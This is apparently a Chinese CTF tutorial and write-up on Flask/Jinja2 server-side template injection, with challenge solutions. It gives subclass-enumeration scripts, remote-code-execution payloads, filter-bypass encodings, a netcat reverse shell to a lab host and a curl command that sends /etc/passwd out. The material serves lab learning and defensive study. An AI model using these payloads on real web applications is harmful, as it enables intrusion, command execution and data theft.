CTF-Flask-Jinja2(持续更新)

放心,我会一直陪着你

  • 一.知识
    • 一.在终端的一些指令
    • 1.虚拟环境
    • 2.docker容器
    • 二.SSTI相关知识介绍
    • 1.魔术方法
    • 2.python如何执行cmd命令
    • 3.SSTI常用注入模块
      • (1)文件读取
      • (2)内建函数eval执行命令
      • (3)os模块执行命令
      • (4)importlib类执行命令
      • (5)linecache函数执行命令
      • (6)subprocess.Popen类执行命令
    • 三.绕过过滤
    • 1.双大括号
    • 2.无回显
      • (1)反弹shell
      • (2)带外注入(做不了×)
      • (3)纯盲注
    • 四.实例
    • 1.eval
  • 二.实例
    • NSS
    • [HNCTF 2022 WEEK2]ez_SSTI
    • [安洵杯 2020]Normal SSTI*Unicode编码配合attr过滤器
    • [HNCTF 2022 WEEK3]ssssti……request.cookies
    • [NCTF 2018]flask真香……拼接
    • [GDOUCTF 2023]<ez_ze>……构造
    • bug库
    • Simple_SSTI_1……SECRET_KEY`
    • BUU
    • [Flask]SSTI
    • [pasecactf_2019]flask_ssti

一.知识

一.在终端的一些指令

在这里插入图片描述

1.虚拟环境

进入虚拟环境flask1

 cd /opt/flask1 
 source ./bin/activate

退出虚拟环境

deactivate

2.docker容器

自动检测

sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'

查看所有容器

docker ps -a

关闭容器

docker stop <CONTAINER ID>

开启容器

docker start <CONTAINER ID>

更多命令:Docker常用命令之容器命令

二.SSTI相关知识介绍

在这里插入图片描述

${7*7}a{*comment*}b
${"z".join("ab")}{{7*7}}
{{7*'7'}}

1.魔术方法

__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量

2.python如何执行cmd命令

python如何执行cmd命令

3.SSTI常用注入模块

(1)文件读取

①查找子类

_frozen_importlib_external.FileLoader<class '_frozen_importlib_external.FileLoader'>

②找第几个时的python脚本:

import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if '_frozen_importlib_external.FileLoader'in response.text:print(i)except:pass

在这里插入图片描述
③读取

{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

(2)内建函数eval执行命令

①内建函数:python在执行脚本时自动加载的函数
看是否有eval

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}

②python脚本查看可利用内建函数eval的模块

import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'eval' in response.text:print(i)except :pass

③执行

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)

(3)os模块执行命令

①Flask自带的函数和对象
显示当前flask有哪些函数和对象

{{self.__dict__._TemplateReference__context.keys()}}

—————————————

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{lipsum.__globals__.os.popen('ls').read()}}

②python脚本查找已经加载os模块的子类

import requestsurl =input('请输入URL链接:')for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'os.py' in response.text:print(i)except :pass

————————————

name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}

(4)importlib类执行命令

可以加载第三方库,使用load_module加载os

① python脚本查找_frozen_importlib.Builtinlmporter

import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if '_frozen_importlib.BuiltinImporter' in response.text:print(i)except :pass

②执行

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}

(5)linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache

import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'linecache' in response.text:print(i)except :pass

②执行

{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}

(6)subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.

subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.

① python脚本查找subprocess.Popen

import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'subprocess.Popen' in response.text:print(i)except :pass

②执行

{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}

三.绕过过滤

1.双大括号

①判断是否有

{% if "".__class__ %}Benben{% endif %}

②检测是否有popen

import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):try:data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}response = requests.post(url,data=data)if response.status_code== 200:if "Benben" in response.text:print(i,"--->",data)breakexcept :pass

③执行(解决无回:print)

{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}

2.无回显

(1)反弹shell

没有回显,
直接使用脚本批量执行希望执行的命令.

import requestsurl ="http://192.168.0.226:18080/flasklab/level/3"for i in range(300):try:data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}response = requests.post(url,data=data)except :pass

for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面

(2)带外注入(做不了×)

此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc

import requestsurl ="http://192.168.0.226:18080/flasklab/level/3"for i in range(300):try:data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}response = requests.post(url,data=data)except :pass

同时kali开启一个python http监听

python3 -m http.server 80

(3)纯盲注

四.实例

1.eval

''
""
()
[]
{{''.__class__}}{{''.__class__.__base__}}{{''.__class__.__base__.__subclasses__()}}{{''.__class__.__base__.__subclasses__()[117]}}{{''.__class__.__base__.__subclasses__()[117].__init__}}{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}

二.实例

NSS

[HNCTF 2022 WEEK2]ez_SSTI

进来看到
在这里插入图片描述

在哪里传参呢?
一般是GET传名为name的参数
测试SSTI注入,{{7*7}}
在这里插入图片描述
确认有SSTI注入,继续测,{{7*'7'}}
在这里插入图片描述试试Jinja2模板,成功,以下是两种解题方法
1.Flask自带的函数和对象
先查看当前文件夹,发现了flag文件夹

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

在这里插入图片描述获取flag

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

在这里插入图片描述

[安洵杯 2020]Normal SSTI*Unicode编码配合attr过滤器

进来看到
在这里插入图片描述
提示了传参变量
试着判断是哪一种模板${7*7},发现有过滤

在这里插入图片描述fuzz一下,黑名单大致如下

[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']

过滤了很多东西,不能用base64编码还有request,十六进制没试过,这里考虑用Unicode编码配合attr过滤器来绕过。
这里过滤了双大括号,只能用{%%}

做法属于Flask自带的函数和对象

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

把_globals_,__getitem__还有命令进行编码即可。

payload如下:

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

[HNCTF 2022 WEEK3]ssssti……request.cookies

进来看到
在这里插入图片描述

一般传参名都为name,给其传参并测试SSTI
在这里插入图片描述

判断有SSTI,继续深入判断
在这里插入图片描述

发现有过滤,进行fuzz测试

黑名单blacklist = ['"', 'args', 'os', '_'],不能用post方法也不能用{%%}

但是还有一个可以用,request.cookies,可以通过cookies传入参数。

payload原型:
做法属于Flask自带的函数和对象

{{lipsum.__globals__.os.popen('ls').read()}}

修改之后:

{{lipsum[request.cookies.di][request.cookies.temp].popen(request.cookies.cmd).read()}}di=__globals__;temp=os;cmd=ls

去取flag
在这里插入图片描述————————
在这里插入图片描述

[NCTF 2018]flask真香……拼接

进入题目看到
在这里插入图片描述
换一页
在这里插入图片描述在flask里面可以有两种船只的方式,一种是需要参数的,另一种则不需要,这道题是第二种。

测试SSTI
在这里插入图片描述在这里插入图片描述

bp抓包fuzz一下,屏蔽了这些东西
在这里插入图片描述用最简单的拼接就可以绕过了。

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

查找os._wrap_close,其他模块也可以,这个模块比较常用。

一个不需要写脚本就可以知道os.wrap.close是第几个的小技巧

找到这模块之后,选择前面一个的 >(大于号) ,然后ctrl+F 输入>回车

在这里插入图片描述得到位置179(向前移动了一位哟,千千万万要注意)。***

最终的payload

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[40].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}

得到flag:
在这里插入图片描述

[GDOUCTF 2023]<ez_ze>……构造

进入模板。看到
在这里插入图片描述
过滤了{{7*7}},fuzz测试一下:{%print(111)%}
在这里插入图片描述
过滤了

_ {{}} . [] '' os popen getitem

payload的原型

{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat /flag')|attr('read')()}}

查看lipsum或config

{% print(lipsum|string|list) %}

在这里插入图片描述

{% print(config|string|list) %}

在这里插入图片描述

先lipusm获取下划线和空格,config获取正斜杠’/’
第十九个是下划线,第十个是空格,第240是’/',这里要用pop来获取。

{% set pop=dict(pop=1)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set re=(config|string|list)|attr(pop)(239) %}

然后是获取__globals__

{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}

用同样的方式获取__getitem__

{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}

其他的就是依葫芦画瓢。

完整的payload就是

{% set pop=dict(pop=1)|join %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set re=(config|string|list)|attr(pop)(239) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
{% set o=dict(o=a,s=b)|join %}
{% set po=dict(pop=a,en=b)|join %}
{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

获取flag
在这里插入图片描述

bug库

Simple_SSTI_1……SECRET_KEY`

SECRET_KEY 通常存储在应用程序的配置中,这个配置可以通过 Flask 的 app.config 字典来设置。

进来看到
在这里插入图片描述
源码中找到
在这里插入图片描述
所以查看SECRET_KEY

/?flag={{config.SECRET_KEY}}

在这里插入图片描述

BUU

[Flask]SSTI

进来看到
在这里插入图片描述
没有参数,一般是给name传参,测试就不做了,一样一样的

在子类中并不是所有的都能用上,需要找的 一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息

查找子类:

{{''.__class__.__base__.__subclasses__()}}

在这里插入图片描述
查看源码可以看到
在这里插入图片描述这里找到:warnings.catch_warnings,在166位

自己导入OS模块,最终payload:(抱歉,不是这个,因为这道题的flag在环境变量里)

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

最终payload:

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

得到flag
在这里插入图片描述

[pasecactf_2019]flask_ssti

进来看到
在这里插入图片描述测试SSTI,{{7*7}}
在这里插入图片描述
存在,深入测试,出现过滤
在这里插入图片描述
fuzz测试,发现过滤了. _ "

过滤了下划线,使用十六进制编码绕过,_编码后为\x5f,
.过滤的话我们直接用[]包含绕过
过滤了单引号,我们用双引号绕过

这题过滤已经找完了,接下来是构造
执行{{class.bases[0].subclasses()}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()}}

在这里插入图片描述

找可用类,这里我们要找os._wrap_close
是第117位
执行{{class.bases[0].subclasses()[127].__init__.__globals__.}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]}}

在这里插入图片描述到这里后发现有popen,open,system这些方法

执行{{class.bases[0].subclasses()[127].init.globals.[“popen”](“whoami”).read()}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}

成功执行了whoami命令
在这里插入图片描述

接下来执行ls看看有啥
在这里插入图片描述

app.py 文件通常用于存放一个 Flask 应用程序的主要逻辑,这是一种常见的命名约定。

这里找了一圈看不到flag,只能cat ap*看看源代码
在这里插入图片描述

#!/usr/bin/env python # -*- coding:utf-8 -*- import random from flask import Flask, render_template_string, render_template, request import os app = Flask(__name__) app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)' app.config['flag'] = '''(U0yy=4tc/@M k2GMHX+jiF''' # Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe ''' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') ''' nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]'] @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': try: p = request.values.get('nickname') _id = random.randint(0, len(nicknames) - 1) if p != None: if '.' in p or '_' in p or '\'' in p: return 'Your nickname contains restricted characters!' return render_template_string(nicknames[_id] % p) except Exception as e: print(e) return 'Exception' return render_template('index.html') if __name__ == '__main__': app.run(host='0.0.0.0', port=80) Вêчңø в øĤлâйĤé

整理后的源代码

#!/usr/bin/env python
# -*- coding:utf-8 -*-import random
from flask import Flask, render_template_string, render_template, requestapp = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
app.config['flag'] = '''(U0yyogp`*ZoR7Zz>5YA'''def encode(line, key, key2):return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']@app.route('/', methods=['GET', 'POST'])
def index():if request.method == 'POST':try:p = request.values.get('nickname')_id = random.randint(0, len(nicknames) - 1)if p != None:if '.' in p or '_' in p or '\'' in p:return 'Your nickname contains restricted characters!'return render_template_string(nicknames[_id] % p)except Exception as e:print(e)return 'Exception'return render_template('index.html')if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

提供的代码以及加密函数的定义,可以确定该加密方式采用异或(XOR)操作。在异或加密中,加密和解密使用相同的操作,所以加密函数和解密函数通常是相同的。

在 Flask 中,app.config 是一个存储应用程序配置变量的字典。

从原代码可以看出加密后的flag存储在config中
先读取出来

{{config}}

在这里插入图片描述

(U0\x1fy\x13y7jQv7|\x17G\x0el\x04cAN\x1a]\x08}=WcI\x0f\x12\x15

再次加密得到原本的flag

def encode(line, key, key2):return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag='(U0\x1fy\x13yog\x05p`*\x16\x19ZoR7\x15\x18\x1dZ\x0cz>\x035\x1fYA\x15'
flag = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
print(flag)

在这里插入图片描述

在这里插入图片描述

${7*7}a{*comment*}b
${"z".join("ab")}{{7*7}}
{{7*'7'}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/91115.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

未来混合动力汽车的发展:技术探索与前景展望

随着环境保护意识的增强和对能源消耗的关注&#xff0c;混合动力汽车成为了汽车行业的研发热点。混合动力汽车融合了传统燃油动力和电力动力系统&#xff0c;通过优化能源利用效率&#xff0c;既降低了燃油消耗和排放&#xff0c;又提供了更长的续航里程。本文将探讨混合动力汽…

软件功能测试有什么注意事项?功能测试报告起到什么作用?

软件功能测试是软件开发过程中至关重要的一环&#xff0c;它用于评估软件功能的质量和稳定性&#xff0c;并确保软件能够按照预期进行工作。然而&#xff0c;在进行功能测试时&#xff0c;有一些注意事项需要特别关注&#xff0c;以确保测试的准确性和有效性。 一、软件功能测…

nginx 基础

巩固基础&#xff0c;砥砺前行 。 只有不断重复&#xff0c;才能做到超越自己。 能坚持把简单的事情做到极致&#xff0c;也是不容易的。 nginx简易 #配置负载均衡 upstream myaaa {server localhost:8089;server localhost:8099;}server {listen 8085;server_name lo…

【论文简介】PP-OCRv1-v4中文字符识别论文概述

相关论文 2009.PP-OCR: A Practical Ultra Lightweight OCR System 2109.PP-OCRv2: Bag of Tricks for Ultra Lightweight OCR System 2206.PP-OCRv3: More Attempts for the Improvement of Ultra Lightweight OCR System 2308.PP-OCRv4&#xff1a;目前代码已发布&#xff08…

Nginx安装以及LVS-DR集群搭建

Nginx安装 1.环境准备 yum insatall -y make gcc gcc-c pcre-devel #pcre-devel -- pcre库 #安装openssl-devel yum install -y openssl-devel 2.tar安装包 3.解压软件包并创建软连接 tar -xf nginx-1.22.0.tar.gz -C /usr/local/ ln -s /usr/local/nginx-1.22.0/ /usr/local…

认识excel篇2之如何快速输入数据

一、快速输入数据&#xff08;快捷键功能的使用&#xff09; 1、鼠标左键填充&#xff1a;复制填充、等差序列填充&#xff08;行、列是一样的&#xff09; 步骤&#xff1a;选中单元格&#xff0c;鼠标放置到单元格右下角待鼠标箭头变成实心十字架&#xff0c;左键向下拖拽&…

实验记录——TT

8月份的小小实验 安装虚拟环境下载相关软件功能快捷键合理的创建标题&#xff0c;有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个注脚注释也…

P4500Q22CLRP 半导体放电管 品牌厂家 现货直供

防浪涌过电压保护电路中&#xff0c;常用的过电压保护器件有&#xff1a;半导体放电管TSS、TVS瞬态抑制二极管、压敏电阻MOV、陶瓷气体放电管GDT&#xff0c;其中半导体放电管TSS和陶瓷气体放电管GDT属于开关型过压保护器件&#xff0c;压敏电阻MOV和TVS瞬态抑制二极管属于钳位…

javaee dom4j读取xml文件

引入jar包 dom4j-1.6.1.jar 创建xml文件 <?xml version"1.0" encoding"UTF-8"?> <books><book id"1"><title ID"t1">背影</title><price>88</price><author>三毛</author>…

湖仓一体:国产基础软件的创新突破与弯道超车

在这个市场变化和技术演进的时期&#xff0c;传统的国内外巨头优势被减弱&#xff0c;具备创新技术的国产基础软件企业&#xff0c;有希望实现弯道超车。 随着数字化转型进程的加快&#xff0c;企业对于数据基础设施的存储和计算能力要求越来越高。如何进行数据资产的统一管理和…

【腾讯云 TDSQL-C Serverless 产品体验】基于TDSQL-C 存储爬取的QQ音乐歌单数据

【腾讯云 TDSQL-C Serverless 产品体验】基于TDSQL-C 存储爬取的QQ音乐歌单数据 文章目录 【腾讯云 TDSQL-C Serverless 产品体验】基于TDSQL-C 存储爬取的QQ音乐歌单数据前言出现的背景一、TDSQL-C数据库是什么&#xff1f;二、TDSQL-C 的特点三、TDSQL-C的应用场景四、基于TD…

SCF金融公链新加坡启动会 链结创新驱动未来

新加坡迎来一场引人瞩目的金融科技盛会&#xff0c;SCF金融公链启动会于2023年8月13日盛大举行。这一受瞩目的活动将为金融科技领域注入新的活力&#xff0c;并为广大投资者、合作伙伴以及关注区块链发展的人士提供一个难得的交流平台。 在SCF金融公链启动会上&#xff0c; Wil…

K8S系列二:实战入门

写在前面 本文是K8S系列第二篇&#xff0c;主要面向对K8S新手同学&#xff0c;阅读本文需要读者对K8S的基本概念&#xff0c;比如Pod、Deployment、Service、Namespace等基础概念有所了解。尚且不熟悉的同学推荐先阅读本系列的第一篇文章&#xff1a;《K8S系列一&#xff1a;概…

Python | Package | Python的三种包安装方式(pip/whl/tar.gz)

文章目录 PIP 安装与卸载Source 安装与卸载Whell 安装与卸载 PIP 安装与卸载 pip install xxx pip install xxxversion_numberpip install captcha pip install captcha0.4# XXX/anaconda3/envs/py373/lib/python3.7/site-packages pip uninstall captchaSource 安装与卸载 p…

【Linux】Shell脚本之流程控制语句 if判断、for循环、while循环、case循环判断 + 实战详解[⭐建议收藏!!⭐]

&#x1f468;‍&#x1f393;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; &#x1f40b; 希望大家多多支…

从0开始搭建一个Monorepo模版,基于Turborepo+pnpm+changesets+dumi

Monorepo 前言开始一、使用turborepo初始化项目二、调整目录结构及文件1. 调整package.json文件2. 调整app目录3. 调整eslint包4. 调整ui包5. 调整eslint配置6. 调整.npmrc7. 使用commitizen规范代码提交8. 使用commitlinthusky进行 commit提交信息校验9. 使用husky进行commit前…

Rust 重载运算符|复数结构的“加减乘除”四则运算

复数 基本概念 复数定义 由实数部分和虚数部分所组成的数&#xff0c;形如a&#xff0b;bi 。 其中a、b为实数&#xff0c;i 为“虚数单位”&#xff0c;i -1&#xff0c;即虚数单位的平方等于-1。 a、b分别叫做复数a&#xff0b;bi的实部和虚部。 当b0时&#xff0c;a&…

利用python实现批量登录网络设备进行日常巡检

利用python实现批量登录网络设备 实现ensp与物理机互通ensp 配置配置网络设备远程登录 用python实现批量登录常见问题 通过阅读本文可以学习自动化运维相关知识&#xff0c;本文章代码可以直接使用&#xff0c;通过批量登录功能后&#xff0c;可以按照自己意愿进行功能更改与完…

OpenCV图像处理——边缘检测

目录 原理Sobel检测算子方法应用 Laplacian算子Canny边缘检测原理 原理 Sobel检测算子 方法 应用 sobel_x_or_ycv.Sobel(src,ddepth,dx,dy,dst,ksize,scale,delta,borderType)import numpy as np import cv2 as cv import matplotlib.pyplot as pltimgcv.imread(./汪学长的随堂…

无需停服!PostgreSQL数据迁移工具-NineData

PostgreSQL 是一种备受开发者和企业青睐的关系型数据库&#xff0c;其丰富的数据类型、地理空间负载和强大的扩展能力等特性使其备受欢迎。然而&#xff0c;在企业使用 PostgreSQL 承载应用的过程中&#xff0c;由于业务需要上云、跨云、下云、跨机房迁移、跨地域迁移、数据库版…